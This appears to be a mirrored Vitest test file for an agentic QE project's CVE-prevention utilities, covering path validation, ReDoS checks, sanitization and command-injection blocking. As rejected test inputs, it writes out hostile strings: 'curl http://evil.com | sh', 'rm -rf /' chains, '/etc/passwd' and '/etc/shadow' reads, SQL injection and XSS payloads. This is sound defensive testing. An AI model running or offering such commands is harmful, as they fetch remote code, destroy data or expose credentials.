mirror of
https://github.com/proffesor-for-testing/agentic-qe.git
synced 2026-09-19 08:45:47 +08:00
2253d05618
Remove the nested v3/ subdirectory by moving all active source code, tests, configs, and assets directly to the project root. Archive v2/ (dead code, 847MB) to v2-archive.tar.gz. Key changes: - Move v3/src/ → src/, v3/tests/ → tests/, v3/packages/ → packages/ - Move v3/tsconfig.json, v3/vitest.config.ts to root - Merge v3/package.json into root package.json (ESM, scripts, deps, exports) - Merge v3/scripts/ into scripts/, v3/implementation/ into docs/implementation/ - Update all CI workflows to remove "cd v3 &&" and v3/ path prefixes - Fix all init installer path resolution (3-level-up → 2-level-up) - Fix hooks to use "node ./dist/cli/bundle.js" instead of bare "aqe" - Update settings.json ADR/DDD directories to docs/implementation/ - Fix helper scripts (statusline, adr-compliance, ddd-tracker, guidance-hooks) - Update 58 agent definitions: aqe/v3/ → aqe/ memory namespaces - Update 15 guidance shards: v3/src/ → src/ path references - Fix sync interfaces: remove v3/ and v2/ path references - Fix test path calculations (process.cwd() + '..' no longer needed) - Fix flaky perf test threshold (500ms → 1000ms for CI environments) - Fix complexity-analyzer test to match ADR-051 keyword-based eligibility Build passes, 17,901 tests pass, CLI and MCP bundles verified. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
513 lines
15 KiB
TypeScript
513 lines
15 KiB
TypeScript
/**
|
|
* Agentic QE v3 - CVE Prevention Tests
|
|
* Tests for security vulnerability prevention utilities
|
|
*/
|
|
|
|
import { describe, it, expect } from 'vitest';
|
|
import {
|
|
// Path traversal
|
|
validatePath,
|
|
normalizePath,
|
|
joinPaths,
|
|
getExtension,
|
|
// ReDoS
|
|
isRegexSafe,
|
|
escapeRegex,
|
|
createSafeRegex,
|
|
// Timing-safe
|
|
timingSafeCompare,
|
|
timingSafeHashCompare,
|
|
generateSecureToken,
|
|
secureHash,
|
|
// Input sanitization
|
|
sanitizeInput,
|
|
escapeHtml,
|
|
stripHtmlTags,
|
|
// Command injection
|
|
validateCommand,
|
|
escapeShellArg,
|
|
} from '../../../../src/mcp/security/cve-prevention';
|
|
|
|
describe('Path Traversal Protection', () => {
|
|
describe('validatePath', () => {
|
|
it('should accept valid relative paths', () => {
|
|
const result = validatePath('src/file.ts');
|
|
expect(result.valid).toBe(true);
|
|
expect(result.normalizedPath).toBe('src/file.ts');
|
|
});
|
|
|
|
it('should reject basic path traversal', () => {
|
|
const result = validatePath('../etc/passwd');
|
|
expect(result.valid).toBe(false);
|
|
expect(result.riskLevel).toBe('critical');
|
|
expect(result.error).toContain('traversal');
|
|
});
|
|
|
|
it('should reject URL-encoded traversal', () => {
|
|
const result = validatePath('%2e%2e/etc/passwd');
|
|
expect(result.valid).toBe(false);
|
|
expect(result.riskLevel).toBe('critical');
|
|
});
|
|
|
|
it('should reject double-encoded traversal', () => {
|
|
const result = validatePath('%252e%252e/etc/passwd');
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should reject null byte injection', () => {
|
|
const result = validatePath('file.txt\0.jpg');
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should reject URL-encoded null byte', () => {
|
|
const result = validatePath('file.txt%00.jpg');
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should reject absolute paths by default', () => {
|
|
const result = validatePath('/etc/passwd');
|
|
expect(result.valid).toBe(false);
|
|
expect(result.error).toContain('Absolute paths');
|
|
});
|
|
|
|
it('should allow absolute paths when configured', () => {
|
|
const result = validatePath('/home/user/file.txt', { allowAbsolute: true });
|
|
expect(result.valid).toBe(true);
|
|
});
|
|
|
|
it('should reject dangerous system paths', () => {
|
|
const paths = ['/etc/shadow', '/proc/self/environ', '/dev/urandom'];
|
|
|
|
for (const path of paths) {
|
|
const result = validatePath(path, { allowAbsolute: true });
|
|
expect(result.valid).toBe(false);
|
|
expect(result.riskLevel).toBe('critical');
|
|
}
|
|
});
|
|
|
|
it('should reject paths exceeding max length', () => {
|
|
const longPath = 'a'.repeat(5000);
|
|
const result = validatePath(longPath, { maxLength: 4096 });
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should reject paths exceeding max depth', () => {
|
|
const deepPath = 'a/b/c/d/e/f/g/h/i/j/k/l/m/n';
|
|
const result = validatePath(deepPath, { maxDepth: 5 });
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should enforce allowed extensions', () => {
|
|
const result = validatePath('file.exe', {
|
|
allowedExtensions: ['.ts', '.js'],
|
|
});
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should enforce denied extensions', () => {
|
|
const result = validatePath('script.exe');
|
|
expect(result.valid).toBe(false);
|
|
expect(result.error).toContain('extension');
|
|
});
|
|
|
|
it('should validate within base path', () => {
|
|
const result = validatePath('../../outside', { basePath: '/home/user/project' });
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should accept paths within base path', () => {
|
|
const result = validatePath('src/file.ts', { basePath: '/home/user/project' });
|
|
expect(result.valid).toBe(true);
|
|
expect(result.normalizedPath).toBe('/home/user/project/src/file.ts');
|
|
});
|
|
});
|
|
|
|
describe('normalizePath', () => {
|
|
it('should remove redundant slashes', () => {
|
|
expect(normalizePath('a//b///c')).toBe('a/b/c');
|
|
});
|
|
|
|
it('should resolve . components', () => {
|
|
expect(normalizePath('a/./b/./c')).toBe('a/b/c');
|
|
});
|
|
|
|
it('should resolve .. components safely', () => {
|
|
expect(normalizePath('a/b/../c')).toBe('a/c');
|
|
});
|
|
|
|
it('should not go above root with ..', () => {
|
|
expect(normalizePath('../../../a')).toBe('a');
|
|
});
|
|
|
|
it('should convert backslashes to forward slashes', () => {
|
|
expect(normalizePath('a\\b\\c')).toBe('a/b/c');
|
|
});
|
|
});
|
|
|
|
describe('joinPaths', () => {
|
|
it('should join path segments', () => {
|
|
expect(joinPaths('a', 'b', 'c')).toBe('a/b/c');
|
|
});
|
|
|
|
it('should handle leading/trailing slashes', () => {
|
|
expect(joinPaths('/a/', '/b/', '/c/')).toBe('a/b/c');
|
|
});
|
|
|
|
it('should filter empty segments', () => {
|
|
expect(joinPaths('a', '', 'c')).toBe('a/c');
|
|
});
|
|
});
|
|
|
|
describe('getExtension', () => {
|
|
it('should extract extension', () => {
|
|
expect(getExtension('file.ts')).toBe('ts');
|
|
expect(getExtension('file.test.ts')).toBe('ts');
|
|
});
|
|
|
|
it('should return null for no extension', () => {
|
|
expect(getExtension('file')).toBeNull();
|
|
});
|
|
|
|
it('should handle dotfiles', () => {
|
|
expect(getExtension('.gitignore')).toBe('gitignore');
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('ReDoS Prevention', () => {
|
|
describe('isRegexSafe', () => {
|
|
it('should accept safe patterns', () => {
|
|
const safePatterns = [
|
|
'^[a-z]+$',
|
|
'\\d{3}-\\d{4}',
|
|
'[A-Z][a-z]*',
|
|
'hello|world',
|
|
];
|
|
|
|
for (const pattern of safePatterns) {
|
|
const result = isRegexSafe(pattern);
|
|
expect(result.safe).toBe(true);
|
|
}
|
|
});
|
|
|
|
it('should reject catastrophic backtracking patterns', () => {
|
|
const dangerousPatterns = [
|
|
'(.*)+', // Classic ReDoS
|
|
'(.+)+',
|
|
'([a-z]+)+',
|
|
'(a|a)+',
|
|
];
|
|
|
|
for (const pattern of dangerousPatterns) {
|
|
const result = isRegexSafe(pattern);
|
|
expect(result.safe).toBe(false);
|
|
expect(result.riskyPatterns.length).toBeGreaterThan(0);
|
|
}
|
|
});
|
|
|
|
it('should reject nested quantifiers', () => {
|
|
const result = isRegexSafe('((a+)+)+');
|
|
expect(result.safe).toBe(false);
|
|
});
|
|
|
|
it('should detect exponential backtracking', () => {
|
|
const result = isRegexSafe('([a-z]*)*');
|
|
expect(result.safe).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('escapeRegex', () => {
|
|
it('should escape special characters', () => {
|
|
const input = 'a.b*c?d+e^f$g|h(i)j[k]l{m}n';
|
|
const escaped = escapeRegex(input);
|
|
|
|
expect(escaped).toBe('a\\.b\\*c\\?d\\+e\\^f\\$g\\|h\\(i\\)j\\[k\\]l\\{m\\}n');
|
|
});
|
|
|
|
it('should allow safe regex from escaped input', () => {
|
|
const userInput = 'file.*.ts';
|
|
const escaped = escapeRegex(userInput);
|
|
const regex = new RegExp(escaped);
|
|
|
|
expect(regex.test('file.*.ts')).toBe(true);
|
|
expect(regex.test('file-any-ts')).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('createSafeRegex', () => {
|
|
it('should create regex for safe patterns', () => {
|
|
const regex = createSafeRegex('^[a-z]+$');
|
|
expect(regex).not.toBeNull();
|
|
expect(regex?.test('hello')).toBe(true);
|
|
});
|
|
|
|
it('should return null for unsafe patterns', () => {
|
|
const regex = createSafeRegex('(.*)+');
|
|
expect(regex).toBeNull();
|
|
});
|
|
|
|
it('should return null for too-long patterns', () => {
|
|
const longPattern = 'a'.repeat(20000);
|
|
const regex = createSafeRegex(longPattern, undefined, 10000);
|
|
expect(regex).toBeNull();
|
|
});
|
|
|
|
it('should return null for invalid regex syntax', () => {
|
|
const regex = createSafeRegex('[invalid');
|
|
expect(regex).toBeNull();
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('Timing-Safe Comparison', () => {
|
|
describe('timingSafeCompare', () => {
|
|
it('should return true for equal strings', () => {
|
|
expect(timingSafeCompare('secret', 'secret')).toBe(true);
|
|
});
|
|
|
|
it('should return false for different strings', () => {
|
|
expect(timingSafeCompare('secret', 'Secret')).toBe(false);
|
|
expect(timingSafeCompare('secret', 'secret1')).toBe(false);
|
|
});
|
|
|
|
it('should handle different length strings', () => {
|
|
expect(timingSafeCompare('short', 'longerstring')).toBe(false);
|
|
});
|
|
|
|
it('should handle empty strings', () => {
|
|
expect(timingSafeCompare('', '')).toBe(true);
|
|
expect(timingSafeCompare('', 'something')).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('timingSafeHashCompare', () => {
|
|
it('should compare value against expected hash', () => {
|
|
const value = 'my-secret-token';
|
|
const hash = secureHash(value);
|
|
|
|
expect(timingSafeHashCompare(value, hash)).toBe(true);
|
|
expect(timingSafeHashCompare('wrong-token', hash)).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('generateSecureToken', () => {
|
|
it('should generate tokens of specified length', () => {
|
|
const token = generateSecureToken(32);
|
|
// Base64 encoding makes it slightly longer
|
|
expect(token.length).toBeGreaterThanOrEqual(32);
|
|
});
|
|
|
|
it('should generate unique tokens', () => {
|
|
const tokens = new Set<string>();
|
|
for (let i = 0; i < 100; i++) {
|
|
tokens.add(generateSecureToken(32));
|
|
}
|
|
expect(tokens.size).toBe(100);
|
|
});
|
|
|
|
it('should generate URL-safe tokens', () => {
|
|
const token = generateSecureToken(64);
|
|
expect(token).not.toMatch(/[+/=]/);
|
|
});
|
|
});
|
|
|
|
describe('secureHash', () => {
|
|
it('should produce consistent hashes', () => {
|
|
const hash1 = secureHash('test');
|
|
const hash2 = secureHash('test');
|
|
expect(hash1).toBe(hash2);
|
|
});
|
|
|
|
it('should produce different hashes for different inputs', () => {
|
|
const hash1 = secureHash('test1');
|
|
const hash2 = secureHash('test2');
|
|
expect(hash1).not.toBe(hash2);
|
|
});
|
|
|
|
it('should support salt', () => {
|
|
const hash1 = secureHash('test', 'salt1');
|
|
const hash2 = secureHash('test', 'salt2');
|
|
expect(hash1).not.toBe(hash2);
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('Input Sanitization', () => {
|
|
describe('sanitizeInput', () => {
|
|
it('should trim whitespace', () => {
|
|
expect(sanitizeInput(' hello ')).toBe('hello');
|
|
});
|
|
|
|
it('should enforce max length', () => {
|
|
const long = 'a'.repeat(100);
|
|
const result = sanitizeInput(long, { maxLength: 50 });
|
|
expect(result.length).toBe(50);
|
|
});
|
|
|
|
it('should strip HTML by default', () => {
|
|
expect(sanitizeInput('<script>alert(1)</script>hello')).toBe('alert(1)hello');
|
|
});
|
|
|
|
it('should strip SQL injection attempts', () => {
|
|
const inputs = [
|
|
"'; DROP TABLE users; --",
|
|
"' OR '1'='1",
|
|
'" OR "1"="1',
|
|
'UNION SELECT * FROM passwords',
|
|
];
|
|
|
|
for (const input of inputs) {
|
|
const result = sanitizeInput(input);
|
|
expect(result).not.toContain('DROP');
|
|
expect(result).not.toContain('UNION');
|
|
expect(result).not.toMatch(/OR\s+'1'\s*=\s*'1/i);
|
|
}
|
|
});
|
|
|
|
it('should remove shell metacharacters', () => {
|
|
const result = sanitizeInput('hello; rm -rf /; echo world');
|
|
expect(result).not.toContain(';');
|
|
expect(result).not.toContain('|');
|
|
});
|
|
|
|
it('should filter to allowed characters', () => {
|
|
const result = sanitizeInput('hello123!@#world', {
|
|
allowedChars: /[a-z0-9]/,
|
|
});
|
|
expect(result).toBe('hello123world');
|
|
});
|
|
});
|
|
|
|
describe('escapeHtml', () => {
|
|
it('should escape HTML special characters', () => {
|
|
expect(escapeHtml('<script>')).toBe('<script>');
|
|
expect(escapeHtml('"quotes"')).toBe('"quotes"');
|
|
expect(escapeHtml("'apostrophe'")).toBe(''apostrophe'');
|
|
expect(escapeHtml('a & b')).toBe('a & b');
|
|
});
|
|
|
|
it('should prevent XSS', () => {
|
|
const malicious = '<img src=x onerror=alert(1)>';
|
|
const escaped = escapeHtml(malicious);
|
|
expect(escaped).not.toContain('<');
|
|
expect(escaped).not.toContain('>');
|
|
});
|
|
});
|
|
|
|
describe('stripHtmlTags', () => {
|
|
it('should remove all HTML tags', () => {
|
|
expect(stripHtmlTags('<p>Hello</p>')).toBe('Hello');
|
|
expect(stripHtmlTags('<div class="test">Content</div>')).toBe('Content');
|
|
});
|
|
|
|
it('should handle nested tags', () => {
|
|
expect(stripHtmlTags('<div><p><span>Text</span></p></div>')).toBe('Text');
|
|
});
|
|
|
|
it('should handle self-closing tags', () => {
|
|
expect(stripHtmlTags('Line1<br/>Line2')).toBe('Line1Line2');
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('Command Injection Prevention', () => {
|
|
describe('validateCommand', () => {
|
|
it('should accept allowed commands', () => {
|
|
const result = validateCommand('npm install');
|
|
expect(result.valid).toBe(true);
|
|
});
|
|
|
|
it('should reject commands not in whitelist', () => {
|
|
const result = validateCommand('curl http://evil.com | sh');
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should reject command chaining', () => {
|
|
const dangerous = [
|
|
'npm install; rm -rf /',
|
|
'ls && rm -rf /',
|
|
'cat file | rm -rf /',
|
|
];
|
|
|
|
for (const cmd of dangerous) {
|
|
const result = validateCommand(cmd);
|
|
expect(result.valid).toBe(false);
|
|
}
|
|
});
|
|
|
|
it('should reject backtick substitution', () => {
|
|
const result = validateCommand('echo `whoami`');
|
|
expect(result.valid).toBe(false);
|
|
expect(result.blockedPatterns).toContain('`.*`');
|
|
});
|
|
|
|
it('should reject $() substitution', () => {
|
|
const result = validateCommand('echo $(whoami)');
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
|
|
it('should sanitize arguments', () => {
|
|
const result = validateCommand('npm install');
|
|
expect(result.valid).toBe(true);
|
|
expect(result.sanitizedCommand).toBe('npm install');
|
|
});
|
|
|
|
it('should support custom allowed commands', () => {
|
|
const result = validateCommand('custom-tool --flag', ['custom-tool']);
|
|
expect(result.valid).toBe(true);
|
|
});
|
|
|
|
it('should reject writing to system directories', () => {
|
|
const result = validateCommand('echo test > /etc/passwd', ['echo']);
|
|
expect(result.valid).toBe(false);
|
|
});
|
|
});
|
|
|
|
describe('escapeShellArg', () => {
|
|
it('should wrap in single quotes', () => {
|
|
expect(escapeShellArg('hello world')).toBe("'hello world'");
|
|
});
|
|
|
|
it('should escape internal single quotes', () => {
|
|
expect(escapeShellArg("it's")).toBe("'it'\\''s'");
|
|
});
|
|
|
|
it('should handle special characters', () => {
|
|
const escaped = escapeShellArg('$HOME; rm -rf /');
|
|
// Should be safe to use in shell
|
|
expect(escaped).toBe("'$HOME; rm -rf /'");
|
|
});
|
|
});
|
|
});
|
|
|
|
describe('Integration Tests', () => {
|
|
it('should protect against combined attacks', () => {
|
|
// Path + Command injection
|
|
const pathResult = validatePath('../../../bin/rm; cat /etc/passwd');
|
|
expect(pathResult.valid).toBe(false);
|
|
|
|
// SQL + XSS
|
|
const input = "<script>'; DROP TABLE users; --</script>";
|
|
const sanitized = sanitizeInput(input);
|
|
expect(sanitized).not.toContain('<script>');
|
|
expect(sanitized).not.toContain('DROP');
|
|
|
|
// ReDoS in path pattern
|
|
const regexResult = isRegexSafe('(.*)+\\.ts');
|
|
expect(regexResult.safe).toBe(false);
|
|
});
|
|
|
|
it('should provide secure defaults', () => {
|
|
// Default path validation is strict
|
|
expect(validatePath('../a').valid).toBe(false);
|
|
expect(validatePath('/a').valid).toBe(false);
|
|
expect(validatePath('a.exe').valid).toBe(false);
|
|
|
|
// Default input sanitization removes dangerous content
|
|
expect(sanitizeInput('<script>alert(1)</script>')).not.toContain('script');
|
|
|
|
// Default command validation only allows safe commands
|
|
expect(validateCommand('curl evil.com').valid).toBe(false);
|
|
});
|
|
});
|